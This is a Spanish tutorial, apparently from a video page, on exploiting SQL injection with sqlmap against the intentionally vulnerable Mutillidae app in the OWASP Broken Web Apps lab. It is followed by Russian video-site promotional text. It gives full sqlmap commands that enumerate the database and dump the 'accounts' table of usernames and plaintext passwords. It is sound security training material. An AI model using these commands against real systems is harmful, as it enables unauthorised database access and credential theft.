Explotar SQL Injection con Sqlmap - Kali Linux
Explotar SQL injection con sqlmap
Usamos el sistema OWASP Broken Web Apps
Usaremos el sitio web
http://192.168.1.109/mutillidae/
Vamos a
OWASP 2013 - A1-Injection(SQL) - SQLi-Extract Data - User Info (SQL)
Ponemos cualquier valor en Name y password
damos clic en View Account Details
Lo que nos interesa es la url
abrimos una terminal y escribimos
sqlmap -u "http://192.168.1.109/mutillidae/index.php?page=user-info.php&username=qwe&password=qwe&user-info-php-submit-button=View+Account+Details" -p username --current-user --current-db
-p nos inica que solo vamos auditar el parametro username
--current-user nos indica que nos muestre el usuario actual
--current-db nos indica que nos muestra la base de datos actual
sqlmap -u "http://192.168.1.109/mutillidae/index.php?page=user-info.php&username=qwe&password=qwe&user-info-php-submit-button=View+Account+Details" -p username -D nowasp --tables
Ahora le pediremos que nos muestre las tablas de la base de datos nowasp
sqlmap -u "http://192.168.1.109/mutillidae/index.php?page=user-info.php&username=qwe&password=qwe&user-info-php-submit-button=View+Account+Details" -p username -D nowasp -T accounts --dump
ahora le pedimos que nos haga un dump de la tabla accounts
Podemos ver que se guardan los usuarios y password en texto plano
Happy Hacking
Что делает видео по-настоящему запоминающимся? Наверное, та самая атмосфера, которая заставляет забыть о времени. Когда вы заходите на RUVIDEO, чтобы посмотреть онлайн «Explotar SQL Injection con Sqlmap - Kali Linux», вы рассчитываете на нечто большее, чем просто загрузку плеера. И мы это понимаем. Контент такого уровня заслуживает того, чтобы его смотрели в HD 1080, без дрожания картинки и бесконечного буферизации.
Честно говоря, Rutube сегодня — это кладезь уникальных находок, которые часто теряются в общем шуме. Мы же вытаскиваем на поверхность самое интересное. Будь то динамичный экшн, глубокий разбор темы от любимого автора или просто уютное видео для настроения — всё это доступно здесь бесплатно и без лишних формальностей. Никаких «заполните анкету, чтобы продолжить». Только вы, ваш экран и качественный поток.
Если вас зацепило это видео, не забудьте взглянуть на похожие материалы в блоке справа. Мы откалибровали наши алгоритмы так, чтобы они подбирали контент не просто «по тегам», а по настроению и смыслу. Ведь в конечном итоге, онлайн-кинотеатр — это не склад файлов, а место, где каждый вечер можно найти свою историю. Приятного вам отдыха на RUVIDEO!
Видео взято из открытых источников Rutube. Если вы правообладатель, обратитесь к первоисточнику.